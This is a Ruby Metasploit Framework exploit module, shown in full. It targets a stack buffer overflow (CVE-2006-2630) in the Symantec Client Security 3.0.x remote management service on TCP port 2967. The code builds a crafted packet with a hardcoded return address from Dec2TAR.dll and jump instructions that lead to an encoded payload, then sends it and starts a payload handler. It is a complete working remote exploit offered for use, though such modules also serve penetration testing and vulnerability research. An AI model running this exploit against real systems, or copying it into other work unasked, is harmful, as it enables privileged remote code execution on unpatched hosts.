101 lines
2.6 KiB
Ruby
101 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Symantec Remote Management Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Symantec Client Security 3.0.x.
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This module has only been tested against Symantec Client Security 3.0.2
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build 10.0.2.2000.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2006-2630'],
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['OSVDB', '25846'],
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['BID', '18107'],
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['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'May 24 2006'))
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register_options( [ Opt::RPORT(2967) ], self.class )
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end
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def exploit
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connect
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header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"
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header << "\x02\x18\x00\x01\x00\x00\x00\x00"
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header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
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header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
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crufta = rand_text_alphanumeric(512)
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cruftb = rand_text_alphanumeric(514)
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cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
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cruftd = rand_text_alphanumeric(495)
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cruftd[479, 2] = "\xeb\x06"
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cruftd[483, 4] = [target.ret].pack('V')
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cruftd[487, 5] = [0xe8, -1000].pack('CV')
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cruftd << rand_text_alphanumeric(21)
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crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
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crufte << rand_text_alphanumeric(504) + "\x00\x00"
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overflow = [ crufta.length ].pack('v') + crufta
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overflow << [ cruftb.length ].pack('v') + cruftb
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overflow << [ cruftc.length ].pack('v') + cruftc
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overflow << [ cruftd.length ].pack('v') + cruftd
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overflow << [ crufte.length ].pack('v') + crufte
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sploit = header + overflow
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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handler
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disconnect
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end
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end
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